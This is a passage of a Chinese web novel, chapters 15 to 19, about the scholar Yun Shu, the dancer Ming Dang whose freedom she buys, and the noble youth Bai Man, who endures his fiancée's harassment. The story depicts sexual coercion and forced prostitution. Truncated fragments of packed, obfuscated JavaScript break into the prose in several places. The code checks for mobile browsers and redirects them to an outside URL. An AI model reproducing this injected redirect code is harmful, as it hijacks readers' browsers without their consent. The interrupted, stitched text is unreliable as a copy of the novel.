“看女君穿着,想来是读书人,掌柜让我送来请帖,客栈与南山别馆有一些联系,可以为女君介绍几位南山别馆的卿客。” 那人手上还拿着好几份南山别馆的请帖。 云竖没有拒绝地接过来,好奇问:“南山别馆还有卿客吗?” “只要有能力,都能被南山别馆尊上贵客,一有宴会就会将她们邀请过来。”她回道,带着热忱,“女君可去看看,说不定也能名声大噪。” 夜里,客栈依旧灯火通明。 时不时能够听到下面的人突然兴奋大喊,喝酒吟诗。 休息了一个时辰的孟昂从屋内出来,看看外面到底是谁大晚上不休息再这里闹。 她盯着下面大厅的人,过了一会儿郁闷地敲响云竖的屋门。 “你睡了吗?” 门被打开,云竖只披着不久前刚刚脱下来的大裘。 “你不热吗?” 她熟稔地走进来,朝屋内打量,发现两间屋子都是一个摆设。 云竖转身看着她,“怎么跑出来了?你不是累吗?” “无聊。” 云竖沉默了一会儿,也没继续搭理她,而是在案桌上继续练字。 “你的字怎么那么丑?按理说有山长教着,不会差到哪里去?山长只管诗词文章吗?这字还另外让人教?” 云竖却说起了其他的话题,“说起来,还有半年多,你就要考试了。” “我见其他人日日抱书恨不得啃透,你怎么不急?” 孟昂想了想,却没说自己,“那你呢?不能考试,只能靠荐举,可如今哪里是靠才学的世道?都门贵知晓之虚誉,岂贱真知之实珠。你如今日里夜里读,平日里却不冒头,几斤几两也全然不露出来,倒是让人抓着机会去说你那一手字。” “不是在说你吗?怎么说起我来了?若谋事不成,也不必一味固执拘泥,不知变通。”云竖放下笔,没把她的话听进去,取纸在烛火下细看。 空气一时间安静下来,孟昂的视线被烛火虚化,一时间看不清楚云竖的脸。 她恍惚地想着,若云竖肯放得下脸和性子,凭她的样貌和举止也能得到一些权贵之人的喜欢,温和有礼,又没有什么傲慢的坏性子,全然不像之前打听到的消息一样。 京都很少见这种女君,要么古板不知变通,要么傲慢无礼不把人放在眼里,要么自私冷漠,好看的皮囊也不多。 再说京都也不是没有权有势的寡夫,宫里还有男官,虽说只是负责宫中事务和贵子的礼仪规矩,也不乏有点权利的人。 这种男官身后无不是世家大族,在宫中只要有点脑子也能如鱼得水。 “你在发什么呆?”云竖走了过来,看着她怔怔的模样,有些疑惑,“你应该回屋,已经很晚了。” “……喔。”她慢吞吞地起身走到门口,“明天早上我再来找你。” 坐在那的云竖没理她,一心盯着刚刚翻看的书本。 …… “明珰,怎么不见那女君来找你啊?” 少年坐在铜镜前理着自己的头发,说话的那人走进来,身旁还跟着几人。 “你不是说她肯定会来吗?” 明珰像是没听到一样继续梳着自己的头发,身前的木盒子是刚刚从发髻上拆下来以及旁人送来的金银。 他有着一副好皮囊,又擅跳舞,天生的软骨头。 “跟你有什么关系?与其在这说风凉话,还不如块钱寻一个女君为你花银子才对,免得到时候人老珠黄了连睡的地方都没有。” 明珰说完起身抱着桌子上的木匣子才那人走过去,红唇微微抿着,“也要怪你没脑子,总一心把希望放在一个人身上。” 他越过说话的那人,走到长廊处,脸却一下冷了下来,气得鼻子也歪了。 真是什么人都敢来他这说风凉话了。 他开始有些着急,着急这个年纪还没有赎他出去。 若真到年纪被推出去做红倌招揽女君,哪个正经女君会赎他回去? 明珰紧紧抱着怀中的木匣子,眼珠子轻轻转了转,想到之前碰见的两个女君,看上去都是书生。 他想着要不要去南山别馆,学子也好。若愿意把他娶回去,学子说不定也能当官。 她们看上去也不是穷苦人。 翌日午时。 云竖和孟昂来了南山别馆。 这个时候人很多。 两人站在长廊处,四处都挂着写满的纸张。 孟昂看着看着与云竖分开,云竖一人登台走到一道墙的面前,这里已经有人提字在上面。 她扫过上面的诗句,取过旁边的毛笔,沾染墨水后在粉壁上题字,写下243字的长诗。 这里鲜少有人,大部分游览着,试图在别馆处引起别人的注意。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347427|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一炷香后,她看着下马车走进来的人,四处的人突然嘈杂起来。 他带着面纱,旁边是衣着华贵的女君。 “怎么还有人带男眷来?” “听说那是南山别馆的贵子,这年纪到了,自然要择妻嫁人,旁边那位是他的长姐。” “来这里挑妻主?”那人神色变了变,不自觉去打量那男人的身段,甚至想通过他戴的面纱去看他长的是何模样。 “听说长得很好,清水芙蓉,软声细语,又端庄,娶回家走出去也有面子。” “云春酒楼的舞妓就很不错。”那人突然说了说。 “那个?只能玩玩而已,谁真娶回家?”旁边那人讥讽道,“娶夫需要娶良家子,一个贱籍,有银子才给你挤出一点笑,哪天跑了你只能吃哑巴连。不过,你若说愿意娶他,他倒是什么都依着你。” 走进来的明珰披戴着薄纱,一袭深色蓝衣,半张脸被遮住,眸中怯怯地盯上了那人。 他微微提了提嘴角,作势就往云竖的方向过去。 下来的云竖猝不及防抱了一个崴脚的少年,手下的触感软软温热,带着浓郁的软香。 他轻呼了一声,让人听着心痒难耐,纤细的手指慢慢攥紧女人的袖子。 “你没事吧?” 温和的声音从他头顶处落下来,他小心翼翼地抬起头,“我脚崴了,可否扶我去人少的地方休息一下。” 他的声音闷闷的,带着乞求,眼睛也有些水润。 “求求你了。” 云竖顿了顿,还是把人扶了过去。 他被扶着坐在旁边的凉亭处,假山遮住了一些人的视线。 见云竖打算离开,明珰连忙叫唤住她,竟落下两滴泪,看着无助极了,连带着声音都有些拔高带着颤,“你去哪?” “我找侍从来帮你,我一个外女,不好与你待在一处。”她解释道,“更何况你脚崴了,需要有人来帮你看看。” “不成的。”他说道,“我一个人坐在这,万一有歹徒,我朝何人求助。” 云竖和他保持着距离,“你就不怕我是歹人?” 明珰轻咬着下唇,避开这个问题,垂着头,发丝从后颈散开露出细白的皮肤,耳垂泛着粉,“女君快去快回吧。” 云竖看了看安静的四周,于是利落地转身离开去寻人。 当她叫住一个侍从,肩膀就被人拍了拍。 “你刚刚跑哪里去了?找了你好久。” 她交代完事情,又给那个侍从塞了”银子,这才转身对突然冒在她身后的孟昂说,“没什么,你逛完了?” 听到这句话,孟昂却冷笑了一下,“我还以为南山别馆有多厉害,结果都是一些华而无实的诗词,只能表面上吓唬吓唬人。” 云竖好奇问道,“刚刚前面在热闹什么?” “也没什么,只是追捧人的事情,一些人聚在一起做诗词,选一个最好的出来。”她像是有些腻了,话语之间都透着冷漠和无聊,带着鄙夷不屑。 只是因为诗词华而不实吗? 云竖没理会她的随意,“去看看。” 16. 第 16 章 “你之前没有见过吗?”孟昂一边走着,一边询问。 她嘟囔着,觉得可能白来了一趟,“我原以为南山别馆会有些不一样。” “鲜少见过,你若是看不上,也不用陪我去。”她一边说道,一边抬脚朝那边走去。 “若去了京都,我可带你去昔卿宴,那才叫开眼。”她跟上云竖,敛去刚刚的神情,转而说了其他,还有些兴奋。 四处人群走动,有看热闹的男子,也有借阅藏书的女君。 刺眼的阳光让人不想抬起头来,屋檐的铃铛静止不动。 被围住的那十人额头上都冒出了细汗,紧紧皱眉。 而在最前面坐着五人,其中一个是男子。 云竖想着,居然还有男子评审。 两人对视,云竖愣了一下,下一秒不着痕迹避开。 坐在那的白蔓微微抿唇,盯着那女君,颀长玉立,温润光泽。 玉质地坚硬,半透清润。那张脸虽然虽然润白,却微微发青,透过白色肌肤甚至可以看到下面青绿的血管,皮肤薄而紧绷。 他想着,若不论家世,嫁给这种人也是不错的选择。 可家世太重要了,甚至重过他的命。 白蔓转移视线,看向下面的人,眼底闪过一丝厌烦,甚至厌烦别人投放在自己身上的目光。 一炷香过去,陆陆续续有几人完成,完成的作品被挂起来供人观看。 孟昂粗粗一扫,朝上翻了一个白眼,也没说什么话。 “你不想去试试吗?” 云竖摇了摇头,壁上提诗就可以了,没必要参加这种。 更何况她才进书院半年,不必如此出头。 等人陆陆续续离开时,云竖才抬脚朝门口而去。 “我们去循水楼吧,不少诗词都是从那里传过来的。” 三日后。 孟昂对出去游玩这件事感到疲惫,甚至不再主动出门。 云竖一人走到街上,路过首饰铺便进去买了几根发带,又去置办了两身衣服。 转而她突然停下了脚步,侧身去看跟着自己的人。 “你跟着我做什么?”她有些惊讶,很快敛下去,“是需要帮助吗?” “你不记得我了吗?”少年又走近了一步,摘下了脸上的面纱,扮相柔软温顺,“我是来谢谢你的。” 他抬起来的手腕上,一对手镯碰撞响了起来,格外清脆。 他眼眸直勾勾地盯着她,云竖再迟钝也该知道他是什么想法。 “只是随手而已,你不必放在心上。” 少年微微咬唇,顿时知道她对自己没一点想法。 他张了张口,顿时眼眶红了起来,眼尾湿红,眉宇柔弱,“那……那女君可否再帮帮我,再帮帮我吧。” “帮什么?” “我愿意做女君的侍从,为奴为婢都可以的,我不想再回去了。”他声音带着颤,被裹紧水葱一般的腰肢也轻轻颤着,整个人惶恐不安。 莫名的要求让云竖沉默了一下,“……我只能帮你赎身,今后归去都由你,我不会管你。” 听到她愿意给他赎身,明珰微微瞪大眼睛,觉得她真是奇怪的人。 明明还是陌生人。 他抿紧唇,破涕而笑,“只要女君赎我出来就好,奴不会打扰女君的。” “奴叫明珰,是云春酒楼的舞姬。” 云竖点头示意记住,“你先回去吧,等会儿我会让人过去给你赎身。” 鲟江也有云家的店铺,云竖只需要去知会一声就行。 她不再说下去,转身继续前往湖畔。 呆在原地的明珰有些茫然,不知道她为何如此。 甚至觉得她只是随口一说而已。 他甚至不敢在跟过去。 旁边陆陆续续有人把目光放在自己身上,明珰不安地瑟缩一下,匆匆回了酒楼。 湖畔处。 云竖租了一条船,接着有人将点心茶点送过来。 帘子被掀开,云竖抬眸就见着不远处船上站着的人。 他穿着一身紫衣,珍珠白玉挂在他的腰上和领口处,像是紫色的鸢尾一样,透着端庄和成熟,被紧紧裹着的细腰却释放着一种迎合柔媚的信号,带着过于成熟的糜烂。 “女君在看什么?”送点心的人顺着她的目光看过去,“那是南山别馆的贵卿,旁边那人,听说是择的妻主,侯府的嫡女,还未订下婚事,明明三日前还没有什么婚事。” 她看着,微不可见地叹气,“南山别馆的那位怎么会看上那位女君,一个流连云春酒楼,诗文更是半分不知。” 云竖听着没吭声,毕竟原身之前也是这样的人。 她像是说不下去了,接着退下去。 帘子若有若无地晃着,若云竖继续盯向那边,一定会看到那白蔓险些被轻薄。 他白着脸,很快又掩下眸中的厌恶,摆出一副羞怯柔软的模样。 他露出白皙的脖颈,白晃晃地,像腻子一般让人滑不开眼。 鬓边散落的头发遮住了他的侧脸,顺势散落在领口处。 “进去吧,小心着凉。”说话的那位不动声色地打量他的身子,原以为他是个不知情趣的,如今却让人蠢蠢欲动。 她急不可耐地想把人拉进船内,借着身份摆弄他。 白蔓旁边候着的侍从欲言又止,看到公子使的眼色很快垂头不语。 白蔓进了船,那些侍从却也没有跟进去。 那位女君把他拉了过去,白蔓顺势低头,忍耐着她的小动作。 只要嫁过去了就好了。 反正她会是自己的妻主。 一个没用的废物。 他被抚摸着脸,敛眸颤抖着,却要含羞地道谢。 湖中心,云竖走出了船内透气。 她坐在凳子上,看着湖四周的风景。 春令才出现的花朵在这随处可见。 吹过来的风轻柔温和,完全没有璇山那边的冷冽刺骨。 云竖几乎停止了思考,堆压在脑海里的诗文几乎片刻间忘记。 她有些恍惚,开始想起了上辈子。 上辈子的她跟父母并不亲近,因为工作,甚至几年也不会回去。 家中还有一个弟弟,即便她死去也不用担忧父母无人照看。她的存款也会被他们取走,也足以让双亲无需顾虑地活下去。 这里呢,原身的父亲只有她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“掌柜说了,若还有下一次,便让你去跳一晚的舞。那楼下的张员外可指名要看你呢,说不定你第一晚就是她的,伺候她高兴了,她说不定就把你赎了。” 明珰紧紧抿着唇,面容紧绷,一字一字地吐字,“你怎么喜欢,你倒是去伺候,怎么,你也觉得自己人老珠黄了吗,怕人闻到你身上的味道呕吐失了兴趣?” “你得意什么,掌柜说了,下个月就让你迎客,那可有好几个预约了你,我可听说一个比一个狠,那春玉就死在了张员外的床上,至今还被人扔了后屋没丢出去。”那个男人像是被戳中了痛处,声音阴狠道。 说完,他就离开,走前还细细打量明珰的模样,像是在看他以后的下场。 明珰莫名红了眼眶,气得推倒屋内的屏风和桌子上的杯盏。 砸完后,他没有预兆地浑身脱力坐在地上,害怕似地后退在角落里,身子止不住发抖。 他死死看着手臂上的朱砂,眼眶几乎红透了,目光阴冷。 凭什么,凭什么他是这样的下场,这样的结果。 凭什么那些女人可以这样,不把他们的命当命。 那个女人是骗他的,肯定还在嘲笑自己天真不知所谓。 她不会来赎他。 他死死咬着下唇,溢出的血几乎把牙齿染红,眼泪跟珠子一样一滴一滴地掉下来。 17. 第 17 章 是个骗子。 都是该死的人。 他蜷缩在角落,发丝散乱地像疯子,不断地想着自己今后会是怎么的下场,想到自己会死在那张床榻上,甚至被恶心的人压着。 亦或者被人丢进乱葬岗,衣不蔽体,死状悲惨,被鸟啄食。 他抬头死死盯着猩红的烛火。 突然,门被敲了敲。 “明珰快出来,有人要赎你走。掌事答应了。” 小侍才刚说完,门就被突然打开,吓得他一激灵险些后退几步。 “谁要赎我?” 张员外?还是今天那个女君? 他面无表情地盯着眼前的人,声音冷冷地。 “不知道,掌事叫我告诉你收拾收拾东西跟人离开。” 小侍说完就离开。 明珰垂下来的手轻轻颤抖着,转身进去把早已经收拾好的包袱取了出来。 他换了一身素衣,什么首饰也没戴,一步一步走着,带着面纱下了楼梯。 按照记忆里的方向,他来了后院。 明珰看见掌事,下意识瑟缩了一下,十分艰难地抬脚走过去。 “这是你的契纸。收好了就跟她走。” “我是女郎派来赎您的。”那位带着恭敬,似乎怕他吹枕边风。 明珰伸手很慢,将契纸接过来,低垂着头不说话,只怔怔盯着那契纸,强忍住想要撕了的动作。 还不行撕。 他被人赎身了,这契纸要转交给那人。 那位跟掌事随意说了几句,便示意明珰走人。 她们是从后门离开的。 马车已经备好,还有人在那里守着。 “女郎说了,今后随你安排,你想去哪里就去哪里。若你无处可去,可去长华首饰铺那寻个工作,那是女郎的铺子。” 马车开始滚动,她的话很快停了下来。 坐在马车里的他很安静,垂着头一句话也不说。 马车里只有他一个人。 外面已经黑了,黑得安静。 这里是条小道。 远离了闹市。 他有些恍惚,甚至不安,极为的不安害怕。 他能去哪里呢?他得找个妻主,找个妻主傍身。 他要嫁给有钱的妻主。 否则他一个人很快就会被其他人盯上,存的银钱很快被人抢走。 他声音细细地,从帘子内透了出来,带着惶恐不安,“女郎唤何名?” 那人顿了顿,想着要不要说。 可女郎都为他赎身了,谁知道其中有没有关系,说不定后面女郎后悔了,又把人抢了回去。 “我家主子叫云竖,听说过不了几日就会走。” 她隐秘地告诉他,希望他把握住机会。 “多谢。”轻轻的声音过一会儿才出现。 他紧紧攥着手上的契纸,小心地折叠好塞进了包袱里。 他没想到出来的如此顺利,还能把银钱也带出来。 他存的钱虽然不能赎身,可省吃俭用也能活上十几年。 可他无依无靠。 明珰眼睛闪了闪,轻抿着唇,抬手擦拭着眼睛掉下来的泪。 他得紧紧扒着那位女君,即便是做侍夫。 只要他先有了孩子,不主动犯错也不会被赶出去。 他是得寸进尺,但是他只是为了活着而已。 他清白还在,模样还行,定然会伺候好那位女君。 客栈处。 云竖抬脚踏进去,就有人迎了过来。 “女郎,女郎名讳可是云竖?” “昨天早上有人在登台处看上了一首诗,花千金买壁,旁边的人顺势背下,诗人为云竖。” “今早上有不少人在讨论这个。”小二说道。 大厅没太有人,这个时辰要么在屋内休息,要么在外面闲逛。 “千金买壁?” “听说是位贵子,也不清楚是谁。” 上楼后,云竖回了自己房间。 她关上门,点燃蜡烛,绕过屏风,打开窗户。 风吹了进来。 静悄悄地。 云竖坐在那看书。 不知道什么时候门口被敲响,外面的人声音细细地,像是个男子。 云竖骤然回神,起身去开门。 “女君……” 她语气平和,“你来找我做什么?” 明珰看了看四周,抬眸咬唇盯着女君,“我只是想来伺候女君,奴不要什么名分,只希望女君能让奴待在你身边。” 他说着,掀起手臂上的衣裳,披帛和衣袖堆在一块,那雪缎一般的肌肤在黑夜里带着一丝糜烂。 “我的朱砂还在,不会脏了女君的床。” 她这才意识到明珰穿的衣裳很薄,细细的腰身将衣裳撑满,丰腴风情。 因为穿得少,薄薄地一片,若仔细盯着,似乎还能看到他衣裳底下的肌肤,像珍珠一样净白滑嫩,说不定轻轻一扯就能撕破。他不自觉瑟缩着身子,眉眼怯怯地,此刻又祈盼地盯着自己。 他说着,走近一步,似乎想依偎在自己怀里,下意识仰头露出白皙的脖颈,像献祭一般。 如此近的距离,云竖闻到了他身上的清香,不是脂粉味。 “我身边不缺男侍。”她语气轻缓,“我也不需要你做什么,这点钱对我来说不过是买了个物件,你就当走了大运,回去歇着吧,自己想好后路。” 明珰紧紧抿唇,“女君可否让奴伺候你几日,全了奴的心意。” “不用。”她再次拒绝。 说着,她进了屋,取出今天刚刚送来的长袍,走到门口给了他。 “这我未穿过,你披着离开,今后也不用来找我。” 他呆在原地,似乎不知道为什么是这样的走向。 只要是个女人,哪里会拒绝送上门的年轻男人。 他声音低低地,眼泪嗒嗒地落下来,“女君是嫌弃奴吗?嫌弃奴是酒楼出身,嫌弃奴是个舞姬。女君收下奴吧,奴会好好伺候女君的。” 他跪下来,双膝挪动着,双手扯住她的衣摆,露出单薄的脊背,肩膀颤抖着。 云竖微微蹙眉,看了看四周,没有人出来。 她将外袍披在他身上,甚至裹紧他的身子,抬手把他强制扶起来。 “你再闹就有人出来了,快回去吧。” 明珰低着头,恼她铁石心肠,恼她是个木头,明明他都如此哀求了,她不该把自己抱进去吗? 只要她把他带进屋内,后面发生什么都无需她顾及什么脸面,他自己就会主动。 什么他自己下贱,自己勾引心悦,都能全了她的脸面。 他身形突然晃了晃,见着又要跪下去,云竖刚刚松开的手下意识去把扶住他的手臂。 明珰作势倒进她的怀里,柔软无骨地手攀上她的肩膀,传来低低地涰泣,又轻轻喘着,活像是天生就会。 他的呼吸声在云竖耳边格外明显,甚至打在了她的脖颈处,让人浑身不自在。 他的容貌算得上上等,身段也柔软,此刻扒在云竖怀里,身形似乎又娇小了一点。 可以很轻便地抱起来,毫不费力,压在哪个地方更是合乎情理。 云竖身子僵了一下,想用力把人拉出来。 可手下的触感让她一瞬间松开,身体甚至有些燥热,大脑几乎产生一种想法,顺他的意,把他压在地上,扒去他的衣裳…… 突然的想法让她懵了一下。云竖对情爱之事向来冷淡,不知道为什么会产生这种几乎邪恶的想法。 软香几乎要钻进她的鼻腔里,狠狠攥住她的神经。 不过是一下的迟疑,云竖推开他。 她冷下脸,紧紧皱着眉,压低声音,肃声道,“回去。” 他这才发现,他把她的玉佩扯了下来。 玉佩丁零当啷坠地,碎成了两半。 …… 翌日,孟昂来了。 她有些兴奋,“你什么时候背着我去写的?” 云竖只披着外袍,头发也闲闲披散着,坐在那给自己倒茶。 “就那日。你怎么这么早过来了?”她神情恹恹,似乎还没反应过来。 “我们再去写几首,这一首哪里够,等到明年秋闱,你若要上京都,总要积累一些名声。鲟江大,我们多去几个地方溜达,不是还有六七天吗?总不能在这里浪费时间。” 云竖看了他一眼,抬手揉了揉眉心,“下次再说吧,你先回去。” “这玉佩怎么碎了?”孟昂看着随手放在桌子上的随玉,拿起一句端看。 “应该是不小心碰到哪里了。” 孟昂听着,笑了笑,“若是被夫子知道,定会拿这个骂你,还要骂上一个时辰。” 下午。 孟昂拉着云竖去了有名的风流地。 街上,两人步行,没有乘坐马车。 如今已是午时刚过,路上人并不多。 不远处的马车上。 白蔓被她抱着,那个女人埋在他的脖颈处,手上还不老实地探进他的衣摆,轻轻摩挲着他的大腿。 他眼睛红得厉害,咬着手背不吭声,眼底的怨恨和羞辱让他恨不得想要扒下发髻上的簪子插进压在自己身上的女人的脖颈处。 明明还未订下婚姻,她便越发放肆。 很快地,他听到了对话声。 他下意识紧绷着身子,紧紧抿着唇。 接着,马车晃了晃。 他吓得攥紧那个女人的衣裳,满脸地惊慌失措。 她像是不耐,看着他这副扫兴的模样,不禁嫌弃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那个少年戴着帷帽,掉的地方有块石头,很快支撑着上来,待在那瑟缩发抖。 腰间的布紧紧贴在他的身子上,褶皱在一块,锁骨处的布料甚至有些透明。 他的身材很好地展露出来,细细的腰,挺翘的臀部,以及惶恐又夹带羞愤的面容。水滴从发间滴落在地上,挪动着身子更是水珠掉落。 孟昂一时间懵了,连忙把外袍脱下来披在那个少年身上。 云竖问道,“怎么是你。” “你认识他?”孟昂看了看四处,将不远处的侍从叫过来,让他们把他扶进偏房处。 两人就近买了衣裳让人送进去。 外面,孟昂听着她的解释,眼珠子转着,稀奇地盯着她,连连打量她,“你可真行,真是改性子了。不想收他,我想想,要不你就收了他?” 云竖有些无奈地盯着孟昂,“我现在并不想思考这些。” 他被关在屋内,头发凌乱,渴求地靠在窗边,听着外面的动静,透着细小的口去看那人,空洞茫然。 是她来了。 是云女君。 “不走吗?”孟昂问道。 “总得说清楚吧。”云竖看了看紧闭的门。 她走过去敲了敲,“你换好衣裳了吗?” 细细弱弱的声音从屋内传了进来。 云竖推门进去。 屋内。 云竖站在他不远处,沉声道。 “明珰,我没有义务再继续帮你,若你害怕,为什么不去寻你的双亲?” “是她们卖的我,我如何能去寻她们?”他哭得极为可怜,声音很软,带着惶恐不安,“奴感恩女君赎我出来,愿意为奴为婢,女君就把奴放在您身边吧,没有您,我会死的。” 他的哭泣不会让人感到厌烦,甚至觉得他真是可怜。 “这不行,我也不喜欢你。”她说道。 孟昂看着白着脸的少年,突然出声,“书院少了做厨的男侍,虽然书院的吃食也不好吃,你就把他安排到那去,好不好吃都无所谓。” “书院的那些人还是靠谱的,也有男侍可以互相照看。再说是你安排的,也没人敢欺负他。” 她想到那厨房的吃食就想骂人。 “或者安排去藏书整理图书。” 云竖看向孟昂,不知道她为什么会提出这种主意。 但这看上去的确是不错的选择。 接着,云竖看向明珰,“你觉得如何?” “奴愿意的。” 18. 第 18 章 回客栈后,两人坐在那吃食。 “你知道是谁买了你的诗吗?” 云竖低眸喝了一口茶,“谁?” “是南山别馆的贵卿。虽说算贵卿,但也只是因为南山别馆,听说是要嫁给侯府。”她塞了一口饭,有些含糊道。 “那嫡女可是一个不着调的,嫁过去不知道图什么。” 云竖看着对面的孟昂,“图什么?” “那侯府也落魄了,只听上去吓唬人。”孟昂说完看了看四周,见没人听到,又继续吃饭。 孟昂想到这个,又想到回京都后又要被催着娶夫,又抬头看了一眼她,“话说,你父亲不催你成婚吗?” 云竖听到这个,脸上露出郁闷,“催。” 这次回去肯定又要催,可她根本不想娶,即便是要娶,定然要娶心仪之人。 “我这次回去,少不得又是一顿打。”孟昂想到这,就紧紧皱眉。 两日后。 堪堪买完早点的云竖就听到侯府结亲的喜事,不少人在那里散糖。 云竖有些震惊。 成婚速度这么快的吗?前两天还没有订婚,结果过几天就要成婚。 她又去了书店买书,回客栈的房间后一天也没有出来。 只有人送饭进去。 将近半个月的时间,云竖只写了三分之一的策论。 两人在港口分开,分别上了不同的船。 “一个月后见。” 孟昂不需要再提前去书院,临近考试,她几乎不再需要上课,只需要自己复习即可。 而云竖不同,该去地还得去,她没有机会参加考试。 书院里的人对云竖只有惋惜,同时庆幸。 毕竟多一个竞争对手就少一个可能。 船上的时间并不好过,甚至无聊,出来也只能见到外面差不多的山景,和看不到尽头的江水。 这日如昨日一样,她出来透气。 看着不远处的山,云竖拢了拢身上的裘衣,只站在那发呆。 连日的苦读让她消瘦了不少,眉眼见越发温和,如同青玉一般,透过白色肌肤可以看到下面青绿的血管,水雾朦胧地笼罩在她的五官,寡淡平和。 薄而狭长的眼睛看不出来任何情绪,身姿清寒,琼佩珊珊。 “你也出来透气吗?”旁边突然响起了声音。 云竖迟钝地看过去,思考她是不是认识自己。 “我叫魏野。”她一袭青绿衣袍,很是简陋。 “拜访好友故而在此,不知道女君是要去何处?” 云竖回道,“回家。” 她顿了顿,俯身行揖礼,“我叫云竖。” 冷风轻轻吹拂而过,一弯纤巧的月亮慢慢出现。 “山之高,月出小。月之小,何皎皎。” 魏野盯着她,同样微微俯身行揖,“不知女君家住何处?” “何必问这个?”云竖没有回答这个问题。 “一日后便要分离,再次相聚怕是许久之后。” “见女君,一见如故。”魏野盯着她,背脊挺直,眉眼肃肃,“希望在今年能够再次见到女君,还望女君与我喝一壶酒,携壶相与至。” 话音刚落,船突然摇晃了一下。 云竖攥着船杆险些摔倒。 北风烈烈,像是团在一起猛得吹过来,云竖偏开头,避开那斜侧而来的风。 碎发被风吹得凌乱,衣袖也鼓囊起来,云竖的声音几乎被风吹得有些散乱。 “若下次再遇,定然会与女君喝一壶酒。” 她莫名觉得这个名字很耳熟,但下意识对其感到厌烦。 云竖保持着微笑,这种异样趋使她离开,不想与她交谈。 魏野?好像在哪里听过一样。 匆匆回到屋内,云竖脱下身上披的裘衣,下意识揉了揉发僵的脸。 她关上窗户,再点起蜡烛去整理那些被风吹下来的纸张。 她想着,为什么会觉得耳熟呢? 读过她的诗文吗?还是从谁的口中听过她的名字? 收拾完,她坐在那。 屋内只有她一个人,安静得过于空荡。 蜡烛不足以把屋内的角落全部照亮,她一半身子被黑暗笼罩,晕黄的光亮将桌子和床铺照亮。 船身时不时晃着,仔细听还能听到水被拂开的声音。 不知道是不是突然感到疲惫,云竖脑子里空荡荡的,不在像昨日一样继续抄写诗文。 这个时候,每家每户应该开始准备年货。 她翻开书本,可以看见这书的边缘已经便薄。 云竖打开折起来的画纸,她一直没丢。 她看着画纸上的人,猜想他该是如何的模样。 即便没有见过,甚至也想不起来原身记忆中的模样,云竖的目光总是停放在那。 他应该是极为好看的。 她猜想。 接着,她的面容陷入平静,烛火摇晃着,忽大忽小。 第二日傍晚,船开始靠岸。 港口灯火通明,一眼看过去都是人。 云府派了人过来守着,左看右看找不到自家的女郎。 怕女郎已经离开,又怕女郎还未下来。 她们昨日就在这里守了,没有守到便第二日继续守。 “你说女郎今天会下来吗?听说家主近日的脾气越发不好。” “女郎久不归家,家主是不是怕女郎不回来了?” “这偌大的家产,女郎怎么会不回来。”旁边的人说道。 “你们两个仔细看着,说什么废话,万一没接到女郎,少不得一顿骂。” 连人都没接到,能不是废物吗? “船靠岸了,快看看里面有没有女郎。”她语气兴奋起来,垫脚寻找。 “再不来我脸都要吹僵了。” 船上的人陆陆续续下来,那些侍卫看着,突然往一个方向过去。 “女郎。” 云竖手上拿的东西被她接了过来,看着她们身上的衣裳,也知道是云府的侍卫。 她被围着上了停靠在树下的马车。 上面已经摆放好的点心茶水,还有一个侍从在那里候着。 见女郎上来,侍从迎过去脱下女郎的裘衣,又倒了一杯热茶递在女郎嘴边。 “女郎可累了?”他声音很是软。 见女郎接过茶杯,他又老老实实地跪坐在女郎身边,作势抬手要揉捏女郎的腿。 “不用了,好好坐着就行。”她拂开他的手,语气平和道。 他红了脸,跪坐在那,仰头痴痴盯着女郎,觉得女郎好看了许多。 “主君念了女郎许久,已在府上备好了吃食,只等女郎回去。” 他只老实了一会儿,又主动凑过来,把手放在女郎 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马车停了下来,云竖没有问高嫁到哪里。 她想到算是高嫁的那位,又想到自己家也有一位要高嫁,不得不蹙眉。 为何要高嫁呢? 因为有外祖母,原身母亲做生意很少有人故意使绊子,甚至越做越大。 她下马车,先是去了父亲的院子里。 外面长廊有些清冷,只能灯笼亮着。 只有一两个侍从偶尔经过她旁边。 听到外面的动静,他没抬眼去看进来的人,垂眸看旁边的侍从用香箸拨弄炉灰,“舍得回来了?” 云竖将脱下来的裘衣递给旁边的侍从,这下提着笑脸过去问好讨饶。 “父亲这是生我气了?” 云父抬起头看着凑到跟前的人,抬手摸了摸她的脸,微微蹙眉,“怎么又瘦了?” “在外面是不是不吃饭?” “怎么会,明明没有瘦,是父亲太久没见我了。”她从袖带里取出一对白玉手镯和一对耳环,“这是我在鲟江买的,特意来送与父亲。” “我还让人送了几匹布来,听说是鲟江特有的男绣织的。” 云父轻轻笑了笑,“这点倒是跟你母亲一样,饿了吗?我让人将饭菜端上来。” “母亲呢?” “她还未回来。”他的笑容转而隐下去,“天天在外面,你也跟她一样,等哪天,是不是都在外面不想回来了?” 云竖缓慢眨了眨眼睛,“我不会的,定然会时不时回来陪父亲。” 他没信她的话,却又忘了刚刚的不愉,拉着她看画像。 “等你娶夫有了孩子,我就不用担忧没人陪了,你瞧瞧,喜欢哪个?” 几个侍从把画像打开摆在云竖面前,她扫了一眼,“不喜欢。” 见云父又取出几张画像,她把想说的话吞了下去。 不过是几个通房而已,养在那也无所谓。 就当平常的侍从就行。 等哪天再给他们介绍介绍,把他们嫁出去。 见饭菜陆陆续续端上来,她连忙打断了云父的行为,直说自己饿了。 19. 第 19 章 回屋后,云竖沐浴过后就只披着外袍在屋内看书。 候着的侍从被她赶走。 屋门被敲响,还没等她出声,那门就被轻轻推开,带着吱呀的声响。 一个少年披着外袍钻了进来,就女郎坐在那,又任由那外袍掉地。 “女郎,主君让侍身来伺候您。” “出去。” 她没抬头,冷声道。 